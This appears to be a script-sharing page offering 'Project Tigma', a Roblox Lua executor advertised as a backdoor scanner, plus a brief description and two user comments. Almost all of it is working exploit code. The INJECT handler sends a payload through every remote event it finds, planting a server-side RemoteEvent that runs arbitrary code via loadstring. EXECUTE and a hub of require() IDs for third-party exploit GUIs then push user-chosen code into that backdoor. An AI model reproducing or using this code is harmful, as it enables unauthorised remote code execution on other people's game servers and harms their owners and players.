Fi pipazz v2 Project Tigma
Key RequiredUniversal

Fi pipazz v2 Project Tigma

Universal Scriptphamha280178phamha280178 2K views 740 executesUpdated Feb 16, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•355 lines (13967 chars)
-- Project Tigma
local LMG2L = {};

LMG2L["ScreenGui_1"] = Instance.new("ScreenGui")
LMG2L["ScreenGui_1"].Parent = game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling
LMG2L["ScreenGui_1"]["ResetOnSpawn"] = false

LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"])
LMG2L["Frame_2"]["BorderSizePixel"] = 0
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
LMG2L["Frame_2"]["Style"] = Enum.FrameStyle.DropShadow
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 588, 0, 292)
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 152, 0, 20)

LMG2L["Frame4_3"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame4_3"]["BorderSizePixel"] = 0
LMG2L["Frame4_3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame4_3"]["Size"] = UDim2.new(0, 76, 0, 40)
LMG2L["Frame4_3"]["Position"] = UDim2.new(0, 100, 0, 230)
LMG2L["Frame4_3"]["Name"] = [[Frame4]]

LMG2L["UIStroke_4"] = Instance.new("UIStroke", LMG2L["Frame4_3"])
LMG2L["UIStroke_4"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["Frame5_5"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame5_5"]["BorderSizePixel"] = 0
LMG2L["Frame5_5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame5_5"]["Size"] = UDim2.new(0, 92, 0, 38)
LMG2L["Frame5_5"]["Position"] = UDim2.new(0, 326, 0, 230)
LMG2L["Frame5_5"]["Name"] = [[Frame5]]

LMG2L["UIStroke_6"] = Instance.new("UIStroke", LMG2L["Frame5_5"])
LMG2L["UIStroke_6"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextButton2_7"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton2_7"]["TextWrapped"] = true
LMG2L["TextButton2_7"]["BorderSizePixel"] = 0
LMG2L["TextButton2_7"]["TextScaled"] = true
LMG2L["TextButton2_7"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton2_7"]["ZIndex"] = 2
LMG2L["TextButton2_7"]["Size"] = UDim2.new(0, 76, 0, 40)
LMG2L["TextButton2_7"]["Text"] = [[CLEAR]]
LMG2L["TextButton2_7"]["Name"] = [[TextButton2]]
LMG2L["TextButton2_7"]["Position"] = UDim2.new(0, 100, 0, 230)

LMG2L["UIStroke_8"] = Instance.new("UIStroke", LMG2L["TextButton2_7"])
LMG2L["UIStroke_8"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextButton3_9"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton3_9"]["TextWrapped"] = true
LMG2L["TextButton3_9"]["BorderSizePixel"] = 0
LMG2L["TextButton3_9"]["TextSize"] = 15
LMG2L["TextButton3_9"]["TextColor3"] = Color3.fromRGB(28, 43, 54)
LMG2L["TextButton3_9"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton3_9"]["ZIndex"] = 2
LMG2L["TextButton3_9"]["Size"] = UDim2.new(0, 92, 0, 38)
LMG2L["TextButton3_9"]["Text"] = [[INJECT]]
LMG2L["TextButton3_9"]["Name"] = [[TextButton3]]
LMG2L["TextButton3_9"]["Position"] = UDim2.new(0, 326, 0, 230)

LMG2L["UIStroke_a"] = Instance.new("UIStroke", LMG2L["TextButton3_9"])
LMG2L["UIStroke_a"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextButton_b"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton_b"]["TextWrapped"] = true
LMG2L["TextButton_b"]["BorderSizePixel"] = 0
LMG2L["TextButton_b"]["TextScaled"] = true
LMG2L["TextButton_b"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton_b"]["ZIndex"] = 2
LMG2L["TextButton_b"]["Size"] = UDim2.new(0, 78, 0, 40)
LMG2L["TextButton_b"]["Text"] = [[EXECUTE]]
LMG2L["TextButton_b"]["Position"] = UDim2.new(0, 14, 0, 230)

LMG2L["UIStroke_c"] = Instance.new("UIStroke", LMG2L["TextButton_b"])
LMG2L["UIStroke_c"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["UIStroke_d"] = Instance.new("UIStroke", LMG2L["Frame_2"])
LMG2L["UIStroke_d"]["Thickness"] = 2
LMG2L["UIStroke_d"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["Frame3_e"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame3_e"]["BorderSizePixel"] = 0
LMG2L["Frame3_e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame3_e"]["Size"] = UDim2.new(0, 78, 0, 40)
LMG2L["Frame3_e"]["Position"] = UDim2.new(0, 14, 0, 230)
LMG2L["Frame3_e"]["Name"] = [[Frame3]]

LMG2L["UIStroke_f"] = Instance.new("UIStroke", LMG2L["Frame3_e"])
LMG2L["UIStroke_f"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextButton4_10"] = Instance.new("TextButton", LMG2L["Frame_2"])
LMG2L["TextButton4_10"]["BorderSizePixel"] = 0
LMG2L["TextButton4_10"]["TextSize"] = 15
LMG2L["TextButton4_10"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextButton4_10"]["ZIndex"] = 2
LMG2L["TextButton4_10"]["Size"] = UDim2.new(0, 58, 0, 38)
LMG2L["TextButton4_10"]["Text"] = [[R6]]
LMG2L["TextButton4_10"]["Name"] = [[TextButton4]]
LMG2L["TextButton4_10"]["Position"] = UDim2.new(0, 258, 0, 230)

LMG2L["UIStroke_11"] = Instance.new("UIStroke", LMG2L["TextButton4_10"])
LMG2L["UIStroke_11"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["Frame_12"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame_12"]["BorderSizePixel"] = 0
LMG2L["Frame_12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame_12"]["Size"] = UDim2.new(0, 410, 0, 200)
LMG2L["Frame_12"]["Position"] = UDim2.new(0, 6, 0, 22)

LMG2L["UIStroke_13"] = Instance.new("UIStroke", LMG2L["Frame_12"])
LMG2L["UIStroke_13"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["UICorner_14"] = Instance.new("UICorner", LMG2L["Frame_2"])

LMG2L["Frame7_15"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame7_15"]["BorderSizePixel"] = 0
LMG2L["Frame7_15"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["Frame7_15"]["Size"] = UDim2.new(0, 118, 0, 252)
LMG2L["Frame7_15"]["Position"] = UDim2.new(0, 438, 0, 14)
LMG2L["Frame7_15"]["Name"] = [[Frame7]]

LMG2L["UIStroke_16"] = Instance.new("UIStroke", LMG2L["Frame7_15"])
LMG2L["UIStroke_16"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["Frame6_17"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame6_17"]["BorderSizePixel"] = 0
LMG2L["Frame6_17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame6_17"]["Size"] = UDim2.new(0, 58, 0, 38)
LMG2L["Frame6_17"]["Position"] = UDim2.new(0, 258, 0, 230)
LMG2L["Frame6_17"]["Name"] = [[Frame6]]

LMG2L["UIStroke_18"] = Instance.new("UIStroke", LMG2L["Frame6_17"])
LMG2L["UIStroke_18"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextLabel_19"] = Instance.new("TextLabel", LMG2L["Frame_2"])
LMG2L["TextLabel_19"]["ZIndex"] = 2
LMG2L["TextLabel_19"]["BorderSizePixel"] = 0
LMG2L["TextLabel_19"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextLabel_19"]["Size"] = UDim2.new(0, 90, 0, 14)
LMG2L["TextLabel_19"]["Text"] = [[Project Tigma]]
LMG2L["TextLabel_19"]["Position"] = UDim2.new(0, 6, 0, 2)

LMG2L["UIStroke_1a"] = Instance.new("UIStroke", LMG2L["TextLabel_19"])
LMG2L["UIStroke_1a"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["TextBox_1b"] = Instance.new("TextBox", LMG2L["Frame_2"])
LMG2L["TextBox_1b"]["ZIndex"] = 2
LMG2L["TextBox_1b"]["BorderSizePixel"] = 2
LMG2L["TextBox_1b"]["TextWrapped"] = true
LMG2L["TextBox_1b"]["TextTransparency"] = 0
LMG2L["TextBox_1b"]["ClearTextOnFocus"] = false
LMG2L["TextBox_1b"]["BackgroundColor3"] = Color3.fromRGB(129, 129, 129)
LMG2L["TextBox_1b"]["BorderMode"] = Enum.BorderMode.Inset
LMG2L["TextBox_1b"]["MultiLine"] = true
LMG2L["TextBox_1b"]["PlaceholderText"] = [[enter script here ]]
LMG2L["TextBox_1b"]["Size"] = UDim2.new(0, 410, 0, 200)
LMG2L["TextBox_1b"]["Position"] = UDim2.new(0, 6, 0, 22)
LMG2L["TextBox_1b"]["Text"] = [[]]
LMG2L["TextBox_1b"]["TextColor3"] = Color3.fromRGB(0, 0, 0)

LMG2L["UIStroke_1c"] = Instance.new("UIStroke", LMG2L["TextBox_1b"])
LMG2L["UIStroke_1c"]["Color"] = Color3.fromRGB(255, 255, 255)

LMG2L["UIDragDetector_1d"] = Instance.new("UIDragDetector", LMG2L["Frame_2"])

LMG2L["Frame2_1e"] = Instance.new("Frame", LMG2L["Frame_2"])
LMG2L["Frame2_1e"]["BorderSizePixel"] = 0
LMG2L["Frame2_1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0)
LMG2L["Frame2_1e"]["Size"] = UDim2.new(0, 90, 0, 14)
LMG2L["Frame2_1e"]["Position"] = UDim2.new(0, 6, 0, 2)
LMG2L["Frame2_1e"]["Name"] = [[Frame2]]

LMG2L["UIStroke_1f"] = Instance.new("UIStroke", LMG2L["Frame2_1e"])
LMG2L["UIStroke_1f"]["Color"] = Color3.fromRGB(255, 255, 255)

-- Project Tigma

local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local JS = game:GetService("JointsService")
local LP = Players.LocalPlayer
local StarterGui = game:GetService("StarterGui")

local injected = false
local attachedRemote = nil
local playerName = LP.Name

local function notify(title, text)
    pcall(function()
        StarterGui:SetCore("SendNotification", {
            Title = title,
            Text = text,
            Duration = 5
        })
    end)
end

local HubScrolling = Instance.new("ScrollingFrame")
HubScrolling.Parent = LMG2L["Frame7_15"]
HubScrolling.BackgroundTransparency = 1
HubScrolling.BorderSizePixel = 0
HubScrolling.Position = UDim2.new(0, 6, 0, 6)
HubScrolling.Size = UDim2.new(1, -12, 1, -12)
HubScrolling.CanvasSize = UDim2.new(0,0,0,0)
HubScrolling.ScrollBarThickness = 4
HubScrolling.ScrollBarImageColor3 = Color3.fromRGB(160,160,160)

local HubLayout = Instance.new("UIListLayout")
HubLayout.Parent = HubScrolling
HubLayout.Padding = UDim.new(0,5)
HubLayout.SortOrder = Enum.SortOrder.LayoutOrder

local function AddHubScript(name, code)
    local btn = Instance.new("TextButton")
    btn.Parent = HubScrolling
    btn.BackgroundColor3 = Color3.fromRGB(80,80,90)
    btn.Size = UDim2.new(1,0,0,30)
    btn.Text = name
    btn.TextColor3 = Color3.fromRGB(220,220,235)
    btn.Font = Enum.Font.SourceSansBold
    btn.TextSize = 13
    btn.TextWrapped = true
    
    local corner = Instance.new("UICorner", btn)
    corner.CornerRadius = UDim.new(0,4)
    
    local stroke = Instance.new("UIStroke", btn)
    stroke.Color = Color3.fromRGB(255,255,255)
    stroke.Thickness = 1
    
    btn.MouseButton1Click:Connect(function()
        local final = code:gsub('""', '"'..playerName..'"')
                          :gsub("''", "'"..playerName.."'")
                          :gsub('"name"', '"'..playerName..'"')
                          :gsub('"username"', '"'..playerName..'"')
                          :gsub('"plr"', '"'..playerName..'"')
        LMG2L["TextBox_1b"].Text = final
    end)
end

AddHubScript("KoopGui V11", [[require(15267263357).V11("")]])
AddHubScript("SSP", [[require(96288911777671):SSP("")]])
AddHubScript("Rc7", [[require(12350030542).RC7("")]])
AddHubScript("polaria", [[require(110951620907921):Pload("")]])
AddHubScript("Sensation Hub", [[require(100263845596551)("")]])
AddHubScript("Pepsi gui", [[require(113825094179678).pepsi("")]])
AddHubScript("Catlol", [[require(77579329778474).catlol("")]])
AddHubScript("IDE", [[require(121425622240385).dominantultimate("")]])
AddHubScript("Bipolaria", [[require(88477009909590):Pload("")]])
AddHubScript("RoLoader", [[require(112796675826571).RoLoader("name")]])
AddHubScript("Dominant", [[require(135879132527047).dominant("name")]])
AddHubScript("FSA", [[require(72732733952061).FSA("")]])
AddHubScript("Stigma", [[require(132938459666886).stigma("name")]])
AddHubScript("Ro-xploit v7.0", [[require(96184029574075)("")]])

HubLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
    HubScrolling.CanvasSize = UDim2.new(0,0,0, HubLayout.AbsoluteContentSize.Y + 20)
end)

LMG2L["TextButton3_9"].MouseButton1Click:Connect(function()
    if injected then 
        notify("Already","Backdoor attached.") 
        return 
    end 
    
    local bn = "_PIPAZZ_BYPASS" .. math.random(10000,99999)
    
    local injector = [[
        local JS=game:GetService("JointsService")
        local bn="]]..bn..[["
        if not JS:FindFirstChild(bn)then 
            local e=Instance.new("RemoteEvent") 
            e.Name=bn 
            e.Parent=JS 
            e.OnServerEvent:Connect(function(p,cd)
                local f,e=loadstring(cd) 
                if f then pcall(f) end 
            end)
        end
    ]]
    
    local function ti(r)
        pcall(function()
            if r:IsA("RemoteEvent") then
                r:FireServer(injector)
            elseif r:IsA("RemoteFunction") then
                r:InvokeServer(injector)
            end
        end)
    end
    
    task.spawn(function() for _,v in ipairs(RS:GetChildren()) do ti(v) end end)
    task.spawn(function() for _,v in ipairs(JS:GetChildren()) do ti(v) end end)
    
    local w = 0
    while w < 1.2 do 
        if JS:FindFirstChild(bn) then break end 
        task.wait(0.025) 
        w = w + 0.025 
    end 
    
    local br = JS:FindFirstChild(bn)
    if br and br:IsA("RemoteEvent") then 
        injected = true
        attachedRemote = br
        LMG2L["TextButton3_9"].Text = "SUCCESS!"
        LMG2L["TextButton3_9"].BackgroundColor3 = Color3.fromRGB(50,120,60)
        notify("Inject Success","Backdoor & GUI activated.")
    else 
        notify("Inject Failed","No backdoor.")
        LMG2L["TextButton3_9"].Text = "no backdoor!"
        LMG2L["TextButton3_9"].BackgroundColor3 = Color3.fromRGB(140,50,50)
    end 
end)

LMG2L["TextButton_b"].MouseButton1Click:Connect(function()
    if not injected or not attachedRemote then 
        notify("Error", "Inject first.")
        return 
    end 
    
    local code = LMG2L["TextBox_1b"].Text 
    if code:match("^%s*$") then 
        notify("Error", "No script.")
        return 
    end 
    
    local pats = {'"yourusername"','"username"','"name"','"plr"','"player"'}
    for _,p in pats do code = code:gsub(p, '"'..playerName..'"') end
    
    pcall(function()
        attachedRemote:FireServer(code)
        notify("Executed", "Done.")
    end)
end)

LMG2L["TextButton2_7"].MouseButton1Click:Connect(function()
    LMG2L["TextBox_1b"].Text = "" 
    notify("Cleared", "Input cleared.")
end)

LMG2L["TextButton4_10"].MouseButton1Click:Connect(function()
    if not injected or not attachedRemote then
        return
    end
    
    local r6_code = [[require(3436957371):r6("]] .. playerName .. [[")]]
    
    pcall(function()
        attachedRemote:FireServer(r6_code)
    end)
end)

return LMG2L["ScreenGui_1"], require;

Features & Information

A backdoor scanner roblox, have a nice gui and lots of script in hub, can excute script require(id). load("name") and more!

Community Comments (2)

YaazkiddIDKYaazkiddIDKFeb 16, 2026

was this taken idea

The_LocustThe_LocustMar 4, 2026

FE

More Scripts for Universal Scripts